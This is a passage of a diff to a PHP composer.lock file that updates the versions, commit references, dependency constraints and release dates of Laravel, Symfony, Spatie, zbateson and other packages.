"symfony/psr-http-message-bridge": "^1.0 | ^2.0 | ^6.0 | ^7.0 | ^8.0"
},
"require-dev": {
"friendsofphp/php-cs-fixer": "^3.11",
"guzzlehttp/guzzle": "^7.2",
"laravel/folio": "^1.1",
- "laravel/framework": "^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0 | ^12.0",
+ "laravel/framework": "^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0 | ^12.0 | ^13.0",
+ "laravel/octane": "^2.15",
"laravel/pennant": "^1.0",
- "livewire/livewire": "^2.0 | ^3.0",
+ "livewire/livewire": "^2.0 | ^3.0 | ^4.0",
"mockery/mockery": "^1.3",
- "orchestra/testbench": "^4.7 | ^5.1 | ^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0",
+ "orchestra/testbench": "^4.7 | ^5.1 | ^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0",
"phpstan/phpstan": "^1.10",
"phpunit/phpunit": "^8.5 | ^9.6 | ^10.4 | ^11.5"
},
@@ -6612,7 +6616,7 @@
],
"support": {
"issues": "https://github.com/getsentry/sentry-laravel/issues",
- "source": "https://github.com/getsentry/sentry-laravel/tree/4.21.0"
+ "source": "https://github.com/getsentry/sentry-laravel/tree/4.24.0"
},
"funding": [
{
@@ -6624,7 +6628,7 @@
"type": "custom"
}
],
- "time": "2026-02-26T16:08:52+00:00"
+ "time": "2026-03-24T10:33:54+00:00"
},
{
"name": "socialiteproviders/authentik",
@@ -6870,22 +6874,22 @@
},
{
"name": "socialiteproviders/manager",
- "version": "v4.8.1",
+ "version": "4.9.2",
"source": {
"type": "git",
"url": "https://github.com/SocialiteProviders/Manager.git",
- "reference": "8180ec14bef230ec2351cff993d5d2d7ca470ef4"
+ "reference": "35372dc62787e61e91cfec73f45fd5d5ae0f8891"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/SocialiteProviders/Manager/zipball/8180ec14bef230ec2351cff993d5d2d7ca470ef4",
- "reference": "8180ec14bef230ec2351cff993d5d2d7ca470ef4",
+ "url": "https://api.github.com/repos/SocialiteProviders/Manager/zipball/35372dc62787e61e91cfec73f45fd5d5ae0f8891",
+ "reference": "35372dc62787e61e91cfec73f45fd5d5ae0f8891",
"shasum": ""
},
"require": {
- "illuminate/support": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0",
+ "illuminate/support": "^11.0 || ^12.0 || ^13.0",
"laravel/socialite": "^5.5",
- "php": "^8.1"
+ "php": "^8.2"
},
"require-dev": {
"mockery/mockery": "^1.2",
@@ -6940,7 +6944,7 @@
"issues": "https://github.com/socialiteproviders/manager/issues",
"source": "https://github.com/socialiteproviders/manager"
},
- "time": "2025-02-24T19:33:30+00:00"
+ "time": "2026-03-18T22:13:24+00:00"
},
{
"name": "socialiteproviders/microsoft-azure",
@@ -7045,16 +7049,16 @@
},
{
"name": "spatie/backtrace",
- "version": "1.8.1",
+ "version": "1.8.2",
"source": {
"type": "git",
"url": "https://github.com/spatie/backtrace.git",
- "reference": "8c0f16a59ae35ec8c62d85c3c17585158f430110"
+ "reference": "8ffe78be5ed355b5009e3dd989d183433e9a5adc"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/spatie/backtrace/zipball/8c0f16a59ae35ec8c62d85c3c17585158f430110",
- "reference": "8c0f16a59ae35ec8c62d85c3c17585158f430110",
+ "url": "https://api.github.com/repos/spatie/backtrace/zipball/8ffe78be5ed355b5009e3dd989d183433e9a5adc",
+ "reference": "8ffe78be5ed355b5009e3dd989d183433e9a5adc",
"shasum": ""
},
"require": {
@@ -7065,7 +7069,7 @@
"laravel/serializable-closure": "^1.3 || ^2.0",
"phpunit/phpunit": "^9.3 || ^11.4.3",
"spatie/phpunit-snapshot-assertions": "^4.2 || ^5.1.6",
- "symfony/var-dumper": "^5.1 || ^6.0 || ^7.0"
+ "symfony/var-dumper": "^5.1|^6.0|^7.0|^8.0"
},
"type": "library",
"autoload": {
@@ -7093,7 +7097,7 @@
],
"support": {
"issues": "https://github.com/spatie/backtrace/issues",
- "source": "https://github.com/spatie/backtrace/tree/1.8.1"
+ "source": "https://github.com/spatie/backtrace/tree/1.8.2"
},
"funding": [
{
@@ -7105,7 +7109,7 @@
"type": "other"
}
],
- "time": "2025-08-26T08:22:30+00:00"
+ "time": "2026-03-11T13:48:28+00:00"
},
{
"name": "spatie/commonmark-shiki-highlighter",
@@ -7169,16 +7173,16 @@
},
{
"name": "spatie/laravel-activitylog",
- "version": "4.12.1",
+ "version": "4.12.3",
"source": {
"type": "git",
"url": "https://github.com/spatie/laravel-activitylog.git",
- "reference": "bf66b5bbe9a946e977e876420d16b30b9aff1b2d"
+ "reference": "2a2024fcac05628b0d1bfdbb1b94dda8b0661dc0"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/spatie/laravel-activitylog/zipball/bf66b5bbe9a946e977e876420d16b30b9aff1b2d",
- "reference": "bf66b5bbe9a946e977e876420d16b30b9aff1b2d",
+ "url": "https://api.github.com/repos/spatie/laravel-activitylog/zipball/2a2024fcac05628b0d1bfdbb1b94dda8b0661dc0",
+ "reference": "2a2024fcac05628b0d1bfdbb1b94dda8b0661dc0",
"shasum": ""
},
"require": {
@@ -7244,7 +7248,7 @@
],
"support": {
"issues": "https://github.com/spatie/laravel-activitylog/issues",
- "source": "https://github.com/spatie/laravel-activitylog/tree/4.12.1"
+ "source": "https://github.com/spatie/laravel-activitylog/tree/4.12.3"
},
"funding": [
{
@@ -7256,20 +7260,20 @@
"type": "github"
}
],
- "time": "2026-02-22T08:37:18+00:00"
+ "time": "2026-03-24T12:33:53+00:00"
},
{
"name": "spatie/laravel-data",
- "version": "4.20.0",
+ "version": "4.20.1",
"source": {
"type": "git",
"url": "https://github.com/spatie/laravel-data.git",
- "reference": "05b792ab0e059d26eca15d47d199ba6f4c96054e"
+ "reference": "5490cb15de6fc8b35a8cd2f661fac072d987a1ad"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/spatie/laravel-data/zipball/05b792ab0e059d26eca15d47d199ba6f4c96054e",
- "reference": "05b792ab0e059d26eca15d47d199ba6f4c96054e",
+ "url": "https://api.github.com/repos/spatie/laravel-data/zipball/5490cb15de6fc8b35a8cd2f661fac072d987a1ad",
+ "reference": "5490cb15de6fc8b35a8cd2f661fac072d987a1ad",
"shasum": ""
},
"require": {
@@ -7330,7 +7334,7 @@
],
"support": {
"issues": "https://github.com/spatie/laravel-data/issues",
- "source": "https://github.com/spatie/laravel-data/tree/4.20.0"
+ "source": "https://github.com/spatie/laravel-data/tree/4.20.1"
},
"funding": [
{
@@ -7338,7 +7342,7 @@
"type": "github"
}
],
- "time": "2026-02-25T16:18:18+00:00"
+ "time": "2026-03-18T07:44:01+00:00"
},
{
"name": "spatie/laravel-markdown",
@@ -7479,16 +7483,16 @@
},
{
"name": "spatie/laravel-ray",
- "version": "1.43.6",
+ "version": "1.43.7",
"source": {
"type": "git",
"url": "https://github.com/spatie/laravel-ray.git",
- "reference": "117a4addce2cb8adfc01b864435b5b278e2f0c40"
+ "reference": "d550d0b5bf87bb1b1668089f3c843e786ee522d3"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/spatie/laravel-ray/zipball/117a4addce2cb8adfc01b864435b5b278e2f0c40",
- "reference": "117a4addce2cb8adfc01b864435b5b278e2f0c40",
+ "url": "https://api.github.com/repos/spatie/laravel-ray/zipball/d550d0b5bf87bb1b1668089f3c843e786ee522d3",
+ "reference": "d550d0b5bf87bb1b1668089f3c843e786ee522d3",
"shasum": ""
},
"require": {
@@ -7502,7 +7506,7 @@
"spatie/backtrace": "^1.7.1",
"spatie/ray": "^1.45.0",
"symfony/stopwatch": "4.2|^5.1|^6.0|^7.0|^8.0",
- "zbateson/mail-mime-parser": "^1.3.1|^2.0|^3.0"
+ "zbateson/mail-mime-parser": "^1.3.1|^2.0|^3.0|^4.0"
},
"require-dev": {
"guzzlehttp/guzzle": "^7.3",
@@ -7552,7 +7556,7 @@
],
"support": {
"issues": "https://github.com/spatie/laravel-ray/issues",
- "source": "https://github.com/spatie/laravel-ray/tree/1.43.6"
+ "source": "https://github.com/spatie/laravel-ray/tree/1.43.7"
},
"funding": [
{
@@ -7564,7 +7568,7 @@
"type": "other"
}
],
- "time": "2026-02-19T10:24:51+00:00"
+ "time": "2026-03-06T08:19:04+00:00"
},
{
"name": "spatie/laravel-schemaless-attributes",
@@ -7986,27 +7990,27 @@
},
{
"name": "stevebauman/purify",
- "version": "v6.3.1",
+ "version": "v6.3.2",
"source": {
"type": "git",
"url": "https://github.com/stevebauman/purify.git",
- "reference": "3acb5e77904f420ce8aad8fa1c7f394e82daa500"
+ "reference": "deba4aa55a45a7593c369b52d481c87b545a5bf8"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/stevebauman/purify/zipball/3acb5e77904f420ce8aad8fa1c7f394e82daa500",
- "reference": "3acb5e77904f420ce8aad8fa1c7f394e82daa500",
+ "url": "https://api.github.com/repos/stevebauman/purify/zipball/deba4aa55a45a7593c369b52d481c87b545a5bf8",
+ "reference": "deba4aa55a45a7593c369b52d481c87b545a5bf8",
"shasum": ""
},
"require": {
"ezyang/htmlpurifier": "^4.17",
- "illuminate/contracts": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0",
- "illuminate/support": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0",
+ "illuminate/contracts": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0",
+ "illuminate/support": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0",
"php": ">=7.4"
},
"require-dev": {
- "orchestra/testbench": "^5.0|^6.0|^7.0|^8.0|^9.0|^10.0",
- "phpunit/phpunit": "^8.0|^9.0|^10.0|^11.5.3"
+ "orchestra/testbench": "^5.0|^6.0|^7.0|^8.0|^9.0|^10.0|^11.0",
+ "phpunit/phpunit": "^8.0|^9.0|^10.0|^11.5.3|^12.5.12"
},
"type": "library",
"extra": {
@@ -8046,9 +8050,9 @@
],
"support": {
"issues": "https://github.com/stevebauman/purify/issues",
- "source": "https://github.com/stevebauman/purify/tree/v6.3.1"
+ "source": "https://github.com/stevebauman/purify/tree/v6.3.2"
},
- "time": "2025-05-21T16:53:09+00:00"
+ "time": "2026-03-18T16:42:42+00:00"
},
{
"name": "stripe/stripe-php",
@@ -8188,16 +8192,16 @@
},
{
"name": "symfony/console",
- "version": "v7.4.6",
+ "version": "v7.4.7",
"source": {
"type": "git",
"url": "https://github.com/symfony/console.git",
- "reference": "6d643a93b47398599124022eb24d97c153c12f27"
+ "reference": "e1e6770440fb9c9b0cf725f81d1361ad1835329d"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/symfony/console/zipball/6d643a93b47398599124022eb24d97c153c12f27",
- "reference": "6d643a93b47398599124022eb24d97c153c12f27",
+ "url": "https://api.github.com/repos/symfony/console/zipball/e1e6770440fb9c9b0cf725f81d1361ad1835329d",
+ "reference": "e1e6770440fb9c9b0cf725f81d1361ad1835329d",
"shasum": ""
},
"require": {
@@ -8262,7 +8266,7 @@
"terminal"
],
"support": {
- "source": "https://github.com/symfony/console/tree/v7.4.6"
+ "source": "https://github.com/symfony/console/tree/v7.4.7"
},
"funding": [
{
@@ -8282,7 +8286,7 @@
"type": "tidelift"
}
],
- "time": "2026-02-25T17:02:47+00:00"
+ "time": "2026-03-06T14:06:20+00:00"
},
{
"name": "symfony/css-selector",
@@ -8803,16 +8807,16 @@
},
{
"name": "symfony/http-foundation",
- "version": "v7.4.6",
+ "version": "v7.4.7",
"source": {
"type": "git",
"url": "https://github.com/symfony/http-foundation.git",
- "reference": "fd97d5e926e988a363cef56fbbf88c5c528e9065"
+ "reference": "f94b3e7b7dafd40e666f0c9ff2084133bae41e81"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/symfony/http-foundation/zipball/fd97d5e926e988a363cef56fbbf88c5c528e9065",
- "reference": "fd97d5e926e988a363cef56fbbf88c5c528e9065",
+ "url": "https://api.github.com/repos/symfony/http-foundation/zipball/f94b3e7b7dafd40e666f0c9ff2084133bae41e81",
+ "reference": "f94b3e7b7dafd40e666f0c9ff2084133bae41e81",
"shasum": ""
},
"require": {
@@ -8861,7 +8865,7 @@
"description": "Defines an object-oriented layer for the HTTP specification",
"homepage": "https://symfony.com",
"support": {
- "source": "https://github.com/symfony/http-foundation/tree/v7.4.6"
+ "source": "https://github.com/symfony/http-foundation/tree/v7.4.7"
},
"funding": [
{
@@ -8881,20 +8885,20 @@
"type": "tidelift"
}
],
- "time": "2026-02-21T16:25:55+00:00"
+ "time": "2026-03-06T13:15:18+00:00"
},
{
"name": "symfony/http-kernel",
- "version": "v7.4.6",
+ "version": "v7.4.7",
"source": {
"type": "git",
"url": "https://github.com/symfony/http-kernel.git",
- "reference": "002ac0cf4cd972a7fd0912dcd513a95e8a81ce83"
+ "reference": "3b3fcf386c809be990c922e10e4c620d6367cab1"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/symfony/http-kernel/zipball/002ac0cf4cd972a7fd0912dcd513a95e8a81ce83",
- "reference": "002ac0cf4cd972a7fd0912dcd513a95e8a81ce83",
+ "url": "https://api.github.com/repos/symfony/http-kernel/zipball/3b3fcf386c809be990c922e10e4c620d6367cab1",
+ "reference": "3b3fcf386c809be990c922e10e4c620d6367cab1",
"shasum": ""
},
"require": {
@@ -8980,7 +8984,7 @@
"description": "Provides a structured process for converting a Request into a Response",
"homepage": "https://symfony.com",
"support": {
- "source": "https://github.com/symfony/http-kernel/tree/v7.4.6"
+ "source": "https://github.com/symfony/http-kernel/tree/v7.4.7"
},
"funding": [
{
@@ -9000,7 +9004,7 @@
"type": "tidelift"
}
],
- "time": "2026-02-26T08:30:57+00:00"
+ "time": "2026-03-06T16:33:18+00:00"
},
{
"name": "symfony/mailer",
@@ -9088,16 +9092,16 @@
},
{
"name": "symfony/mime",
- "version": "v7.4.6",
+ "version": "v7.4.7",
"source": {
"type": "git",
"url": "https://github.com/symfony/mime.git",
- "reference": "9fc881d95feae4c6c48678cb6372bd8a7ba04f5f"
+ "reference": "da5ab4fde3f6c88ab06e96185b9922f48b677cd1"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/symfony/mime/zipball/9fc881d95feae4c6c48678cb6372bd8a7ba04f5f",
- "reference": "9fc881d95feae4c6c48678cb6372bd8a7ba04f5f",
+ "url": "https://api.github.com/repos/symfony/mime/zipball/da5ab4fde3f6c88ab06e96185b9922f48b677cd1",
+ "reference": "da5ab4fde3f6c88ab06e96185b9922f48b677cd1",
"shasum": ""
},
"require": {
@@ -9153,7 +9157,7 @@
"mime-type"
],
"support": {
- "source": "https://github.com/symfony/mime/tree/v7.4.6"
+ "source": "https://github.com/symfony/mime/tree/v7.4.7"
},
"funding": [
{
@@ -9173,7 +9177,7 @@
"type": "tidelift"
}
],
- "time": "2026-02-05T15:57:06+00:00"
+ "time": "2026-03-05T15:24:09+00:00"
},
{
"name": "symfony/options-resolver",
@@ -11508,31 +11512,31 @@
},
{
"name": "zbateson/mail-mime-parser",
- "version": "3.0.5",
+ "version": "4.0.1",
"source": {
"type": "git",
"url": "https://github.com/zbateson/mail-mime-parser.git",
- "reference": "ff054c8e05310c445c2028c6128a4319cc9f6aa8"
+ "reference": "3db681988a48fdffdba551dcc6b2f4c2da574540"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/zbateson/mail-mime-parser/zipball/ff054c8e05310c445c2028c6128a4319cc9f6aa8",
- "reference": "ff054c8e05310c445c2028c6128a4319cc9f6aa8",
+ "url": "https://api.github.com/repos/zbateson/mail-mime-parser/zipball/3db681988a48fdffdba551dcc6b2f4c2da574540",
+ "reference": "3db681988a48fdffdba551dcc6b2f4c2da574540",
"shasum": ""
},
"require": {
"guzzlehttp/psr7": "^2.5",
- "php": ">=8.0",
+ "php": ">=8.1",
"php-di/php-di": "^6.0|^7.0",
"psr/log": "^1|^2|^3",
- "zbateson/mb-wrapper": "^2.0",
- "zbateson/stream-decorators": "^2.1"
+ "zbateson/mb-wrapper": "^2.0 || ^3.0",
+ "zbateson/stream-decorators": "^2.1 || ^3.0"
},
"require-dev": {
- "friendsofphp/php-cs-fixer": "*",
+ "friendsofphp/php-cs-fixer": "^3.0",
"monolog/monolog": "^2|^3",
- "phpstan/phpstan": "*",
- "phpunit/phpunit": "^9.6"
+ "phpstan/phpstan": "^2.0",
+ "phpunit/phpunit": "^10.5"
},
"suggest": {
"ext-iconv": "For best support/performance",
@@ -11580,31 +11584,31 @@
"type": "github"
}
],
- "time": "2025-12-02T00:29:16+00:00"
+ "time": "2026-03-11T18:03:41+00:00"
},
{
"name": "zbateson/mb-wrapper",
- "version": "2.0.1",
+ "version": "3.0.0",
"source": {
"type": "git",
"url": "https://github.com/zbateson/mb-wrapper.git",
- "reference": "50a14c0c9537f978a61cde9fdc192a0267cc9cff"
+ "reference": "f0ee6af2712e92e52ee2552588cd69d21ab3363f"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/zbateson/mb-wrapper/zipball/50a14c0c9537f978a61cde9fdc192a0267cc9cff",
- "reference": "50a14c0c9537f978a61cde9fdc192a0267cc9cff",
+ "url": "https://api.github.com/repos/zbateson/mb-wrapper/zipball/f0ee6af2712e92e52ee2552588cd69d21ab3363f",
+ "reference": "f0ee6af2712e92e52ee2552588cd69d21ab3363f",
"shasum": ""
},
"require": {
- "php": ">=8.0",
+ "php": ">=8.1",
"symfony/polyfill-iconv": "^1.9",
"symfony/polyfill-mbstring": "^1.9"
},
"require-dev": {
"friendsofphp/php-cs-fixer": "*",
"phpstan/phpstan": "*",
- "phpunit/phpunit": "^9.6|^10.0"
+ "phpunit/phpunit": "^10.0|^11.0"
},
"suggest": {
"ext-iconv": "For best support/performance",
@@ -11641,7 +11645,7 @@
],
"support": {
"issues": "https://github.com/zbateson/mb-wrapper/issues",
- "source": "https://github.com/zbateson/mb-wrapper/tree/2.0.1"
+ "source": "https://github.com/zbateson/mb-wrapper/tree/3.0.0"
},
"funding": [
{
@@ -11649,31 +11653,31 @@
"type": "github"
}
],
- "time": "2024-12-20T22:05:33+00:00"
+ "time": "2026-02-13T19:33:26+00:00"
},
{
"name": "zbateson/stream-decorators",
- "version": "2.1.1",
+ "version": "3.0.0",
"source": {
"type": "git",
"url": "https://github.com/zbateson/stream-decorators.git",
- "reference": "32a2a62fb0f26313395c996ebd658d33c3f9c4e5"
+ "reference": "0c0e79a8c960055c0e2710357098eedc07e6697a"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/zbateson/stream-decorators/zipball/32a2a62fb0f26313395c996ebd658d33c3f9c4e5",
- "reference": "32a2a62fb0f26313395c996ebd658d33c3f9c4e5",
+ "url": "https://api.github.com/repos/zbateson/stream-decorators/zipball/0c0e79a8c960055c0e2710357098eedc07e6697a",
+ "reference": "0c0e79a8c960055c0e2710357098eedc07e6697a",
"shasum": ""
},
"require": {
"guzzlehttp/psr7": "^2.5",
- "php": ">=8.0",
- "zbateson/mb-wrapper": "^2.0"
+ "php": ">=8.1",
+ "zbateson/mb-wrapper": "^2.0 || ^3.0"
},
"require-dev": {
"friendsofphp/php-cs-fixer": "*",
"phpstan/phpstan": "*",
- "phpunit/phpunit": "^9.6|^10.0"
+ "phpunit/phpunit": "^10.0 || ^11.0"
},
"type": "library",
"autoload": {
@@ -11704,7 +11708,7 @@
],
"support": {
"issues": "https://github.com/zbateson/stream-decorators/issues",
- "source": "https://github.com/zbateson/stream-decorators/tree/2.1.1"
+ "source": "https://github.com/zbateson/stream-decorators/tree/3.0.0"
},
"funding": [
{
@@ -11712,7 +11716,7 @@
"type": "github"
}
],
- "time": "2024-04-29T21:42:39+00:00"
+ "time": "2026-02-13T19:45:34+00:00"
},
{
"name": "zircote/swagger-php",
@@ -13119,16 +13123,16 @@
},
{
"name": "brianium/paratest",
- "version": "v7.19.0",
+ "version": "v7.19.2",
"source": {
"type": "git",
"url": "https://github.com/paratestphp/paratest.git",
- "reference": "7c6c29af7c4b406b49ce0c6b0a3a81d3684474e6"
+ "reference": "66e4f7910cecf67736bccf2b8bd53a2e3eb98bd9"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/paratestphp/paratest/zipball/7c6c29af7c4b406b49ce0c6b0a3a81d3684474e6",
- "reference": "7c6c29af7c4b406b49ce0c6b0a3a81d3684474e6",
+ "url": "https://api.github.com/repos/paratestphp/paratest/zipball/66e4f7910cecf67736bccf2b8bd53a2e3eb98bd9",
+ "reference": "66e4f7910cecf67736bccf2b8bd53a2e3eb98bd9",
"shasum": ""
},
"require": {
@@ -13142,9 +13146,9 @@
"phpunit/php-code-coverage": "^12.5.3 || ^13.0.1",
"phpunit/php-file-iterator": "^6.0.1 || ^7",
"phpunit/php-timer": "^8 || ^9",
- "phpunit/phpunit": "^12.5.9 || ^13",
+ "phpunit/phpunit": "^12.5.14 || ^13.0.5",
"sebastian/environment": "^8.0.3 || ^9",
- "symfony/console": "^7.4.4 || ^8.0.4",
+ "symfony/console": "^7.4.7 || ^8.0.7",
"symfony/process": "^7.4.5 || ^8.0.5"
},
"require-dev": {
@@ -13152,11 +13156,11 @@
"ext-pcntl": "*",
"ext-pcov": "*",
"ext-posix": "*",
- "phpstan/phpstan": "^2.1.38",
- "phpstan/phpstan-deprecation-rules": "^2.0.3",
- "phpstan/phpstan-phpunit": "^2.0.12",
- "phpstan/phpstan-strict-rules": "^2.0.8",
- "symfony/filesystem": "^7.4.0 || ^8.0.1"
+ "phpstan/phpstan": "^2.1.40",
+ "phpstan/phpstan-deprecation-rules": "^2.0.4",
+ "phpstan/phpstan-phpunit": "^2.0.16",
+ "phpstan/phpstan-strict-rules": "^2.0.10",
+ "symfony/filesystem": "^7.4.6 || ^8.0.6"
},
"bin": [
"bin/paratest",
@@ -13196,7 +13200,7 @@
],
"support": {
"issues": "https://github.com/paratestphp/paratest/issues",
- "source": "https://github.com/paratestphp/paratest/tree/v7.19.0"
+ "source": "https://github.com/paratestphp/paratest/tree/v7.19.2"
},
"funding": [
{
@@ -13208,7 +13212,7 @@
"type": "paypal"
}
],
- "time": "2026-02-06T10:53:26+00:00"
+ "time": "2026-03-09T14:33:17+00:00"
},
{
"name": "daverandom/libdns",
@@ -13256,22 +13260,22 @@
},
{
"name": "driftingly/rector-laravel",
- "version": "2.1.9",
+ "version": "2.2.0",
"source": {
"type": "git",
"url": "https://github.com/driftingly/rector-laravel.git",
- "reference": "aee9d4a1d489e7ec484fc79f33137f8ee051b3f7"
+ "reference": "807840ceb09de6764cbfcce0719108d044a459a9"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/driftingly/rector-laravel/zipball/aee9d4a1d489e7ec484fc79f33137f8ee051b3f7",
- "reference": "aee9d4a1d489e7ec484fc79f33137f8ee051b3f7",
+ "url": "https://api.github.com/repos/driftingly/rector-laravel/zipball/807840ceb09de6764cbfcce0719108d044a459a9",
+ "reference": "807840ceb09de6764cbfcce0719108d044a459a9",
"shasum": ""
},
"require": {
"php": "^7.4 || ^8.0",
"rector/rector": "^2.2.7",
- "webmozart/assert": "^1.11"
+ "webmozart/assert": "^1.11 || ^2.0"
},
"type": "rector-extension",
"autoload": {
@@ -13286,9 +13290,9 @@
"description": "Rector upgrades rules for Laravel Framework",
"support": {
"issues": "https://github.com/driftingly/rector-laravel/issues",
- "source": "https://github.com/driftingly/rector-laravel/tree/2.1.9"
+ "source": "https://github.com/driftingly/rector-laravel/tree/2.2.0"
},
- "time": "2025-12-25T23:31:36+00:00"
+ "time": "2026-03-19T17:24:38+00:00"
},
{
"name": "fakerphp/faker",
@@ -13596,25 +13600,25 @@
},
{
"name": "laravel/boost",
- "version": "v2.2.1",
+ "version": "v2.4.1",
"source": {
"type": "git",
"url": "https://github.com/laravel/boost.git",
- "reference": "e27f1616177377fef95296620530c44a7dda4df9"
+ "reference": "f6241df9fd81a86d79a051851177d4ffe3e28506"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/laravel/boost/zipball/e27f1616177377fef95296620530c44a7dda4df9",
- "reference": "e27f1616177377fef95296620530c44a7dda4df9",
+ "url": "https://api.github.com/repos/laravel/boost/zipball/f6241df9fd81a86d79a051851177d4ffe3e28506",
+ "reference": "f6241df9fd81a86d79a051851177d4ffe3e28506",
"shasum": ""
},
"require": {
"guzzlehttp/guzzle": "^7.9",
- "illuminate/console": "^11.45.3|^12.41.1",
- "illuminate/contracts": "^11.45.3|^12.41.1",
- "illuminate/routing": "^11.45.3|^12.41.1",
- "illuminate/support": "^11.45.3|^12.41.1",
- "laravel/mcp": "^0.5.1",
+ "illuminate/console": "^11.45.3|^12.41.1|^13.0",
+ "illuminate/contracts": "^11.45.3|^12.41.1|^13.0",
+ "illuminate/routing": "^11.45.3|^12.41.1|^13.0",
+ "illuminate/support": "^11.45.3|^12.41.1|^13.0",
+ "laravel/mcp": "^0.5.1|^0.6.0",
"laravel/prompts": "^0.3.10",
"laravel/roster": "^0.5.0",
"php": "^8.2"
@@ -13622,7 +13626,7 @@
"require-dev": {
"laravel/pint": "^1.27.0",
"mockery/mockery": "^1.6.12",
- "orchestra/testbench": "^9.15.0|^10.6",
+ "orchestra/testbench": "^9.15.0|^10.6|^11.0",
"pestphp/pest": "^2.36.0|^3.8.4|^4.1.5",
"phpstan/phpstan": "^2.1.27",
"rector/rector": "^2.1"
@@ -13658,20 +13662,20 @@
"issues": "https://github.com/laravel/boost/issues",
"source": "https://github.com/laravel/boost"
},
- "time": "2026-02-25T16:07:36+00:00"
+ "time": "2026-03-25T16:37:40+00:00"
},
{
"name": "laravel/dusk",
- "version": "v8.3.6",
+ "version": "v8.5.0",
"source": {
"type": "git",
"url": "https://github.com/laravel/dusk.git",
- "reference": "5c3beee54f91f575f50cadcd7e5d44c80cc9a9aa"
+ "reference": "f9f75666bed46d1ebca13792447be6e753f4e790"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/laravel/dusk/zipball/5c3beee54f91f575f50cadcd7e5d44c80cc9a9aa",
- "reference": "5c3beee54f91f575f50cadcd7e5d44c80cc9a9aa",
+ "url": "https://api.github.com/repos/laravel/dusk/zipball/f9f75666bed46d1ebca13792447be6e753f4e790",
+ "reference": "f9f75666bed46d1ebca13792447be6e753f4e790",
"shasum": ""
},
"require": {
@@ -13730,22 +13734,22 @@
],
"support": {
"issues": "https://github.com/laravel/dusk/issues",
- "source": "https://github.com/laravel/dusk/tree/v8.3.6"
+ "source": "https://github.com/laravel/dusk/tree/v8.5.0"
},
- "time": "2026-02-10T18:14:59+00:00"
+ "time": "2026-03-21T11:50:49+00:00"
},
{
"name": "laravel/mcp",
- "version": "v0.5.9",
+ "version": "v0.6.4",
"source": {
"type": "git",
"url": "https://github.com/laravel/mcp.git",
- "reference": "39e8da60eb7bce4737c5d868d35a3fe78938c129"
+ "reference": "f822c5eb5beed19adb2e5bfe2f46f8c977ecea42"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/laravel/mcp/zipball/39e8da60eb7bce4737c5d868d35a3fe78938c129",
- "reference": "39e8da60eb7bce4737c5d868d35a3fe78938c129",
+ "url": "https://api.github.com/repos/laravel/mcp/zipball/f822c5eb5beed19adb2e5bfe2f46f8c977ecea42",
+ "reference": "f822c5eb5beed19adb2e5bfe2f46f8c977ecea42",
"shasum": ""
},
"require": {
@@ -13805,20 +13809,20 @@
"issues": "https://github.com/laravel/mcp/issues",
"source": "https://github.com/laravel/mcp"
},
- "time": "2026-02-17T19:05:53+00:00"
+ "time": "2026-03-19T12:37:13+00:00"
},
{
"name": "laravel/pint",
- "version": "v1.27.1",
+ "version": "v1.29.0",
"source": {
"type": "git",
"url": "https://github.com/laravel/pint.git",
- "reference": "54cca2de13790570c7b6f0f94f37896bee4abcb5"
+ "reference": "bdec963f53172c5e36330f3a400604c69bf02d39"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/laravel/pint/zipball/54cca2de13790570c7b6f0f94f37896bee4abcb5",
- "reference": "54cca2de13790570c7b6f0f94f37896bee4abcb5",
+ "url": "https://api.github.com/repos/laravel/pint/zipball/bdec963f53172c5e36330f3a400604c69bf02d39",
+ "reference": "bdec963f53172c5e36330f3a400604c69bf02d39",
"shasum": ""
},
"require": {
@@ -13829,13 +13833,14 @@
"php": "^8.2.0"
},
"require-dev": {
- "friendsofphp/php-cs-fixer": "^3.93.1",
- "illuminate/view": "^12.51.0",
- "larastan/larastan": "^3.9.2",
+ "friendsofphp/php-cs-fixer": "^3.94.2",
+ "illuminate/view": "^12.54.1",
+ "larastan/larastan": "^3.9.3",
"laravel-zero/framework": "^12.0.5",
"mockery/mockery": "^1.6.12",
- "nunomaduro/termwind": "^2.3.3",
- "pestphp/pest": "^3.8.5"
+ "nunomaduro/termwind": "^2.4.0",
+ "pestphp/pest": "^3.8.6",
+ "shipfastlabs/agent-detector": "^1.1.0"
},
"bin": [
"builds/pint"
@@ -13872,20 +13877,20 @@
"issues": "https://github.com/laravel/pint/issues",
"source": "https://github.com/laravel/pint"
},
- "time": "2026-02-10T20:00:20+00:00"
+ "time": "2026-03-12T15:51:39+00:00"
},
{
"name": "laravel/roster",
- "version": "v0.5.0",
+ "version": "v0.5.1",
"source": {
"type": "git",
"url": "https://github.com/laravel/roster.git",
- "reference": "56904a78f4d7360c1c490ced7deeebf9aecb8c0e"
+ "reference": "5089de7615f72f78e831590ff9d0435fed0102bb"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/laravel/roster/zipball/56904a78f4d7360c1c490ced7deeebf9aecb8c0e",
- "reference": "56904a78f4d7360c1c490ced7deeebf9aecb8c0e",
